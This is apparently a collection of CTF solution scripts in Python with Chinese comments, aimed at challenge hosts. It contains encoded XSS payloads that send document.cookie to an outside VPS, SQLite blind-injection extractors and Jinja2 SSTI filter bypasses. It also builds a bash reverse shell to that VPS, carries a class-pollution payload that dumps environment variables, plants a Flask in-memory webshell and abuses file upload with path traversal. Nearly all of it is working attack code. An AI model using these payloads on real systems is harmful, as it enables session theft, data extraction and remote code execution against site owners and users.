import hashlib
import random
import string
import time
from multiprocessing import Pool, cpu_count
import os


def is_md5_0e_numeric(hash_str):
    return len(hash_str) == 32 and hash_str.startswith('0e') and hash_str[2:].isdigit()


def worker(args):
    """工作进程函数"""
    batch_size = args
    charset = string.ascii_letters + string.digits

    for _ in range(batch_size):
        length = random.randint(8, 15)
        x = ''.join(random.choices(charset, k=length))

        first_md5 = hashlib.md5(x.encode()).hexdigest()
        second_md5 = hashlib.md5(first_md5.encode()).hexdigest()

        if is_md5_0e_numeric(second_md5):
            return (x, first_md5, second_md5)

    return None


def find_md5md5_0e_parallel():
    """多进程碰撞"""
    print("开始多进程碰撞 md5(md5(x)) 为 0e+数字...")
    print(f"使用 {cpu_count()} 个进程")

    start_time = time.time()
    found = 0
    results = []

    with Pool(cpu_count()) as pool:
        while found < 3:
            # 每个进程处理10000个尝试
            batch_results = pool.map(worker, [10000] * cpu_count())

            for result in batch_results:
                if result and found < 3:
                    found += 1
                    results.append(result)
                    elapsed = time.time() - start_time
                    print(f"\n找到第 {found} 个:")
                    print(f"x = '{result[0]}'")
                    print(f"md5(x) = {result[1]}")
                    print(f"md5(md5(x)) = {result[2]}")
                    print(f"耗时: {elapsed:.2f} 秒")

    print(f"\n碰撞完成！总共耗时: {time.time() - start_time:.2f} 秒")
    return results


if __name__ == "__main__":
    find_md5md5_0e_parallel()

import requests
import time
import urllib.parse


def fuzz_cookie_keywords():
    url = "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post"

    headers = {
        "Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
        "Referer": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/"
    }

    # 测试cookie窃取相关的关键词
    cookie_keywords = [
        "document.cookie", "document['cookie']", "document[\"cookie\"]",
        "cookie", "document", "window", "open", "fetch", "XMLHttpRequest",
        "Image", "src", "location", "href", "sendBeacon", "import",
        "123.57.107.33", "http", "1337", ":", "//", "?", "=", "&",
        "window.open", "new Image", "navigator", "beacon",
        "createElement", "appendChild", "submit", "form",
        "String.fromCharCode", "eval", "setTimeout", "setInterval"
    ]

    print("Fuzzing cookie窃取关键词...")
    print("=" * 50)

    blocked_keywords = []
    allowed_keywords = []

    for keyword in cookie_keywords:
        # 使用已知可用的payload模板来测试每个关键词
        test_payload = f"<body/onload=alert({keyword})>"
        test_data = f"content={urllib.parse.quote(test_payload)}"

        try:
            response = requests.post(
                url,
                headers=headers,
                data=test_data,
                timeout=5
            )

            response_text = response.text.strip()

            if response_text == "非法内容":
                print(f"❌ 被过滤: {keyword}")
                blocked_keywords.append(keyword)
            else:
                print(f"✅ 可通过: {keyword}")
                allowed_keywords.append(keyword)

        except Exception as e:
            print(f"⚠️  请求失败: {e}")

        time.sleep(0.3)

    return blocked_keywords, allowed_keywords


def generate_encoded_payloads():
    """生成各种编码的payload"""
    vps_url = "http://123.57.107.33:1337/"

    encoded_payloads = []

    # 基础payload模板
    base_templates = [
        "<body/onload=ALERT>",
        "<svg/onload=ALERT>",
        "<body/**/onload=ALERT>",
        "<body%0aonload=ALERT>"
    ]

    # 各种编码方式的cookie窃取代码
    steal_methods = [
        # HTML实体编码
        ("HTML实体", "window.open&#40;&#39;http://123.57.107.33:1337/&#39;&#43;document.cookie&#41;"),
        ("HTML实体部分", "window.open('http://123.57.107.33:1337/'&#43;document.cookie)"),

        # Unicode编码
        ("Unicode",
         "\\u0077\\u0069\\u006e\\u0064\\u006f\\u0077\\u002e\\u006f\\u0070\\u0065\\u006e\\u0028\\u0027\\u0068\\u0074\\u0074\\u0070\\u003a\\u002f\\u002f\\u0031\\u0032\\u0033\\u002e\\u0035\\u0037\\u002e\\u0031\\u0030\\u0037\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u002f\\u0027\\u002b\\u0064\\u006f\\u0063\\u0075\\u006d\\u0065\\u006e\\u0074\\u002e\\u0063\\u006f\\u006f\\u006b\\u0069\\u0065\\u0029"),

        # String.fromCharCode
        ("String编码",
         "eval(String.fromCharCode(119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,49,50,51,46,53,55,46,49,48,55,46,51,51,58,49,51,51,55,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))"),

        # 简写和混淆
        ("简写", "top['open']('http://123.57.107.33:1337/'+top['document']['cookie'])"),
        ("this", "this['open']('http://123.57.107.33:1337/'+this['document']['cookie'])"),

        # 不使用document.cookie
        ("location", "location='http://123.57.107.33:1337/?'+document.cookie"),
        ("简单Image", "i=Image;i.src='http://123.57.107.33:1337/'+document.cookie"),

        # 分步执行
        ("分步", "a=document.cookie;b=window.open;b('http://123.57.107.33:1337/'+a)"),

        # 使用其他属性
        ("defaultView", "document.defaultView.open('http://123.57.107.33:1337/'+document.cookie)"),
    ]

    for template in base_templates:
        for method_name, code in steal_methods:
            payload = template.replace("ALERT", code)
            encoded_payloads.append((f"{template.split('/')[0]} + {method_name}", payload))

    return encoded_payloads


def test_alternative_approaches():
    """测试替代方法"""
    url = "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post"

    headers = {
        "Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
        "Referer": "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/"
    }

    alternative_payloads = [
        # 方法1: 使用setTimeout延迟执行
        ("setTimeout", "<body/onload=setTimeout('window.open(\"http://123.57.107.33:1337/\"+document.cookie)',100)>"),

        # 方法2: 使用函数构造
        ("函数构造", "<body/onload=(function(){window.open('http://123.57.107.33:1337/'+document.cookie)})()>"),

        # 方法3: 使用赋值表达式
        ("赋值表达式", "<body/onload=x=document.cookie,y=window.open,y('http://123.57.107.33:1337/'+x)>"),

        # 方法4: 使用with语句
        ("with语句", "<body/onload=with(document)with(defaultView)open('http://123.57.107.33:1337/'+cookie)>"),

        # 方法5: 使用call/apply
        ("call", "<body/onload=window.open.call(window,'http://123.57.107.33:1337/'+document.cookie)>"),

        # 方法6: 使用其他全局对象
        ("self", "<body/onload=self.open('http://123.57.107.33:1337/'+self.document.cookie)>"),
        ("globalThis", "<body/onload=globalThis.open('http://123.57.107.33:1337/'+globalThis.document.cookie)>"),

        # 方法7: 使用atob解码base64
        ("base64", "<body/onload=window.open(atob('aHR0cDovLzEyMy41Ny4xMDcuMzM6MTMzNy8=')+document.cookie)>"),

        # 方法8: 使用域名转换
        ("IP十进制", "<body/onload=window.open('http://2070377761/'+document.cookie)>"),  # 123.57.107.33的十进制表示

        # 方法9: 使用本地存储先保存
        ("localStorage",
         "<body/onload=localStorage.setItem('c',document.cookie),window.open('http://123.57.107.33:1337/?c='+localStorage.getItem('c'))>"),
    ]

    working_payloads = []

    print("\n测试替代方法...")
    print("=" * 50)

    for method, payload in alternative_payloads:
        test_data = f"content={urllib.parse.quote(payload)}"

        try:
            response = requests.post(
                url,
                headers=headers,
                data=test_data,
                timeout=5
            )

            response_text = response.text.strip()

            if response_text != "非法内容":
                print(f"✅ {method}: 可通过")
                print(f"   Payload: {payload}")
                working_payloads.append((method, payload))
            else:
                print(f"❌ {method}: 被拦截")

        except Exception as e:
            print(f"⚠️  {method}: 请求失败 - {e}")

        time.sleep(0.3)

    return working_payloads


if __name__ == "__main__":
    # 第一步：fuzz具体哪些关键词被过滤
    blocked, allowed = fuzz_cookie_keywords()

    print(f"\n被过滤的关键词: {blocked}")
    print(f"可通过的关键词: {allowed}")

    # 第二步：测试编码payload
    encoded_payloads = generate_encoded_payloads()
    print(f"\n生成 {len(encoded_payloads)} 个编码payload进行测试...")

    working_encoded = []
    for method, payload in encoded_payloads:
        test_data = f"content={urllib.parse.quote(payload)}"

        try:
            response = requests.post(
                "http://019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn/post",
                headers={
                    "Host": "019a1e65-64a3-754d-b1cc-f3cc34690185.geek.ctfplus.cn",
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                data=test_data,
                timeout=5
            )

            if response.text.strip() != "非法内容":
                print(f"✅ 编码通过: {method}")
                working_encoded.append((method, payload))
            else:
                print(f"❌ 编码被拦截: {method}")

        except Exception as e:
            print(f"⚠️  编码请求失败: {e}")

        time.sleep(0.3)

    # 第三步：测试替代方法
    working_alternatives = test_alternative_approaches()

    # 汇总结果
    all_working = working_encoded + working_alternatives

    if all_working:
        print(f"\n🎉 找到 {len(all_working)} 个可用的Cookie窃取payload!")
        for method, payload in all_working:
            print(f"\n方法: {method}")
            print(f"Payload: {payload}")
            print(f"URL编码: {urllib.parse.quote(payload)}")
    else:
        print("\n😞 所有方法都被拦截")
        print("\n建议:")
        print("1. 尝试使用其他VPS地址或端口")
        print("2. 检查是否有其他过滤规则")
        print("3. 考虑使用XSS平台接收cookie")

import requests
import string

class SQLiteBlindInjection:
    def __init__(self, url):
        self.url = url
        self.charset = string.ascii_letters + string.digits + "_-"
        
    def test_condition(self, condition):
        """测试布尔条件"""
        payload = f"-1'/**/OR/**/({condition})--+"
        response = requests.get(self.url, params={'name': payload})
        return "该用户存在且活跃" in response.text

    def blind_injection(self, query):
        """盲注获取字符串"""
        result = ""
        
        # 获取长度
        for i in range(1, 50):
            if self.test_condition(f"length(({query}))={i}"):
                length = i
                break
        else:
            return ""
            
        print(f"长度: {length}")
        
        # 获取内容
        for position in range(1, length + 1):
            for char in self.charset:
                if self.test_condition(f"substr(({query}),{position},1)='{char}'"):
                    result += char
                    print(f"位置 {position}: '{char}' | 当前: {result}")
                    break
            else:
                break
                
        return result

    def get_tables(self):
        """获取所有表名"""
        print("正在爆表名...")
        tables = []
        
        # 获取表数量
        for i in range(1, 20):
            if self.test_condition(f"(SELECT/**/COUNT(*)/**/FROM/**/sqlite_master/**/WHERE/**/type='table')={i}"):
                table_count = i
                break
        else:
            return []
            
        print(f"表数量: {table_count}")
        
        # 获取每个表名
        for i in range(table_count):
            table_query = f"SELECT/**/name/**/FROM/**/sqlite_master/**/WHERE/**/type='table'/**/LIMIT/**/1/**/OFFSET/**/{i}"
            table_name = self.blind_injection(table_query)
            if table_name and not table_name.startswith('sqlite_'):
                tables.append(table_name)
                print(f"找到表: {table_name}")
                
        return tables

    def get_columns(self, table_name):
        """获取表的所有字段名 - 使用PRAGMA table_info"""
        print(f"正在爆表 {table_name} 的字段名...")
        columns = []
        
        # 获取字段数量
        for i in range(1, 20):
            if self.test_condition(f"(SELECT/**/COUNT(*)/**/FROM/**/PRAGMA_TABLE_INFO('{table_name}'))={i}"):
                column_count = i
                break
        else:
            return []
            
        print(f"字段数量: {column_count}")
        
        # 获取每个字段名
        for i in range(column_count):
            # PRAGMA table_info返回name字段是字段名
            column_query = f"SELECT/**/name/**/FROM/**/PRAGMA_TABLE_INFO('{table_name}')/**/LIMIT/**/1/**/OFFSET/**/{i}"
            column_name = self.blind_injection(column_query)
            if column_name:
                columns.append(column_name)
                print(f"找到字段: {column_name}")
                
        return columns

def main():
    url = "http://019a4351-de32-78e5-8860-dabc8bc9be3f.geek.ctfplus.cn/check.php"
    injector = SQLiteBlindInjection(url)
    
    # 爆表名
    tables = injector.get_tables()
    print(f"\n所有表名: {tables}")
    
    # 爆每个表的字段
    for table in tables:
        columns = injector.get_columns(table)
        print(f"\n表 {table} 的字段: {columns}")

if __name__ == "__main__":
    main()

import requests
import string
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed


class BooleanBlindInjection:
    def __init__(self, url):
        self.url = url
        self.charset = string.ascii_letters + "{}"
        self.secret = ""
        self.lock = threading.Lock()
        self.found_chars = {}  # 存储每个位置找到的字符
        self.max_position = 50

    def test_char(self, position, char):
        """测试特定位置的特定字符"""
        payload = f"-1'/**/OR/**/substr((SELECT/**/secret/**/FROM/**/users/**/LIMIT/**/1),{position},1)='{char}'--+"

        try:
            response = requests.get(self.url, params={'name': payload}, timeout=5)

            if "该用户存在且活跃" in response.text:
                with self.lock:
                    self.found_chars[position] = char
                    print(f"✓ 位置 {position}: 找到字符 '{char}'")
                return True
        except Exception as e:
            print(f"✗ 位置 {position} 字符 '{char}' 请求失败: {e}")

        return False

    def check_position(self, position):
        """检查单个位置的所有字符"""
        print(f"开始检查位置 {position}...")

        with ThreadPoolExecutor(max_workers=10) as executor:
            # 为每个字符创建任务
            futures = {
                executor.submit(self.test_char, position, char): char
                for char in self.charset
            }

            # 等待第一个成功的结果
            for future in as_completed(futures):
                if future.result():
                    # 找到字符，取消其他任务
                    executor.shutdown(wait=False)
                    return

        # 如果没有找到字符
        with self.lock:
            if position not in self.found_chars:
                self.found_chars[position] = None
                print(f"✗ 位置 {position}: 没有找到字符")

    def multi_thread_injection(self):
        """多线程主函数"""
        print("开始多线程布尔盲注...")
        print(f"字符集: {self.charset}")
        print(f"线程数: 每个位置10个线程")

        position = 1

        while position <= self.max_position:
            # 检查当前位置
            self.check_position(position)

            # 如果这个位置没有找到字符，结束注入
            if position in self.found_chars and self.found_chars[position] is None:
                break

            position += 1

        # 构建最终结果
        self.build_result()
        return self.secret

    def build_result(self):
        """构建最终结果字符串"""
        result_chars = []
        for pos in sorted(self.found_chars.keys()):
            if self.found_chars[pos] is not None:
                result_chars.append(self.found_chars[pos])

        self.secret = ''.join(result_chars)

    def fast_multi_thread_injection(self):
        """更快的版本：同时检查多个位置"""
        print("开始快速多线程布尔盲注...")
        print(f"字符集: {self.charset}")

        def check_multiple_positions(start_pos, end_pos):
            """检查多个位置"""
            for pos in range(start_pos, end_pos + 1):
                if pos > self.max_position:
                    break
                self.check_position(pos)

        # 使用线程池同时检查多个位置
        with ThreadPoolExecutor(max_workers=5) as executor:
            # 将位置分成5组同时检查
            positions_per_thread = 5
            futures = []

            for i in range(0, self.max_position, positions_per_thread):
                start = i + 1
                end = min(i + positions_per_thread, self.max_position)
                future = executor.submit(check_multiple_positions, start, end)
                futures.append(future)

            # 等待所有任务完成
            for future in as_completed(futures):
                future.result()

        # 构建最终结果
        self.build_result()
        return self.secret

    def get_current_progress(self):
        """获取当前进度"""
        found_positions = [pos for pos in self.found_chars if self.found_chars[pos] is not None]
        if not found_positions:
            return "进度: 0%"

        max_found = max(found_positions)
        progress = (max_found / self.max_position) * 100
        current_secret = ''.join([self.found_chars[pos] for pos in sorted(found_positions)])

        return f"进度: {progress:.1f}% | 当前结果: {current_secret}"


def test_connection():
    """测试连接"""
    url = "http://019a4351-de32-78e5-8860-dabc8bc9be3f.geek.ctfplus.cn/check.php"

    true_payload = "-1'/**/OR/**/substr((SELECT/**/secret/**/FROM/**/users/**/LIMIT/**/1),1,1)='S'--+"
    false_payload = "-1'/**/OR/**/substr((SELECT/**/secret/**/FROM/**/users/**/LIMIT/**/1),1,1)='X'--+"

    print("测试连接和响应模式...")

    try:
        # 测试True响应
        true_response = requests.get(url, params={'name': true_payload}, timeout=5)
        true_success = "该用户存在且活跃" in true_response.text

        # 测试False响应
        false_response = requests.get(url, params={'name': false_payload}, timeout=5)
        false_success = "该用户存在且活跃" in false_response.text

        print(f"True条件响应: {true_success}")
        print(f"False条件响应: {false_success}")

        if true_success and not false_success:
            print("✓ 连接测试成功，响应模式正确")
            return True
        else:
            print("✗ 响应模式异常，请检查payload")
            return False

    except Exception as e:
        print(f"✗ 连接测试失败: {e}")
        return False


if __name__ == "__main__":
    url = "http://019a4351-de32-78e5-8860-dabc8bc9be3f.geek.ctfplus.cn/check.php"

    if test_connection():
        print("\n" + "=" * 50)

        # 创建注入实例
        injector = BooleanBlindInjection(url)

        # 选择注入模式
        print("选择注入模式:")
        print("1. 标准多线程 (推荐)")
        print("2. 快速多线程 (更激进)")

        choice = input("请输入选择 (1 或 2): ").strip()

        if choice == "2":
            print("\n开始快速多线程注入...")
            result = injector.fast_multi_thread_injection()
        else:
            print("\n开始标准多线程注入...")
            result = injector.multi_thread_injection()

        print(f"\n🎉 注入完成!")
        print(f"最终结果: {result}")

    else:
        print("连接测试失败，请检查URL或网络连接")

def waf(payload: str) -> str:
    print(len(payload))
    if not payload:
        return ""
        
    if len(payload) not in (114, 514):
        return payload.replace("(", "")
    else:
        waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
        for w in waf:
            if w in payload:
                raise ValueError(f"waf")

    return payload

from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level=logging.INFO)

#        waf =
def waf(s: str):
    blacklist = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
    return all(word not in s for word in blacklist)


if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "ls /;")
    # config_payload = config_payload(waf)

    # print(f"{shell_payload=}")

    cmdpayload = """bash -c "bash -i >& /dev/tcp/123.57.107.33/1337 0>&1";"""
    shell_payload = shell_payload.replace("ls /;", cmdpayload)
    #
    lenqwq = 514-len(shell_payload)-1
    shell_payload = shell_payload.replace(cmdpayload, cmdpayload + "a" * lenqwq+";")

    print(shell_payload)
    # print(f"{config_payload=}")

{
    "__class__": {
        "__base__": {
            "__base__": {
                "execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), __import__('os').popen('env').read())"
            }
        }
    }
}

import functools
import time
import requests
import fenjing

# 这个内存马会获取GET参数cmd并执行，然后在header Aaa中返回

payload = """[ __import__(\'time\').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for zzz in [ lambda : __import__(\'os\').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({\'_got_first_request\':False}), app.add_url_rule("/zzz", endpoint="zzz", view_func=zzz) ] ]"""

# payload ="""{{"".__class__.__base__.__subclasses__()[''].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())")}}"""

URL = "http://019a6149-9bcf-7149-9eeb-c5af5fc68f48.geek.ctfplus.cn/"



@functools.lru_cache(10000)
def waf(payload):  # 如果字符串s可以通过waf则返回True, 否则返回False
    time.sleep(0.02) # 防止请求发送过多
    resp = requests.get(URL, timeout=10, params={"name": payload})
    s = resp.text
    print(s)
    if "是不会给你渲染的" not in s and "渲染出错" not in s:
        return 1
    else:
        return 0


full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
    print("这个payload不会产生回显")
print(payload)

# 生成payload后在这里打上去
r = requests.get(URL, params = {
    "name": payload
})

print(r.text)

import random

import requests
import os


def upload_any_file(target_url, local_file_path, remote_filename):
    """
    上传任意文件到目标服务器的upload接口

    Args:
        target_url: 目标URL
        local_file_path: 本地文件路径
        remote_filename: 远程文件名（可以使用路径遍历）
    """

    # 检查本地文件是否存在
    if not os.path.exists(local_file_path):
        print(f"[-] 本地文件不存在: {local_file_path}")
        return False

    try:
        # 读取本地文件
        with open(local_file_path, 'rb') as f:
            files = {'file': (remote_filename, f, 'application/text,plain')}

            # 上传到 /upload 接口
            upload_url = f"{target_url.rstrip('/')}/upload"
            print(f"[+] 正在上传文件...")
            print(f"    本地文件: {local_file_path}")
            print(f"    远程文件名: {remote_filename}")
            print(f"    目标URL: {upload_url}")

            response = requests.post(upload_url, files=files, timeout=30)

            print(f"[+] 响应状态码: {response.status_code}")
            print(response.text)
            if response.status_code == 200:
                print(f"[+] 上传成功!")
            else:
                print(f"[+] 服务器响应: {response.text}")

            return response

    except Exception as e:
        print(f"[-] 上传失败: {e}")
        return None


# 使用示例
if __name__ == "__main__":
    # 目标URL
    target_url = "http://019a904e-b411-7bd2-a05a-911ecdb20ebd.geek.ctfplus.cn/"

    # 用户输入
    local_file = input("请输入本地文件路径: ").strip()
    if local_file == "":
        local_file = "arb_write.7z"
    # local_file = "arb_write.7z"
    remote_name = input("请输入远程文件名: ").strip()
    if remote_name == "":
        remote_name = str(random.randint(1000, 9999))+".7z"
    # remote_name = str(random.randint(1000, 9999)) + ".7z"

    # 上传文件
    upload_any_file(target_url, local_file, remote_name)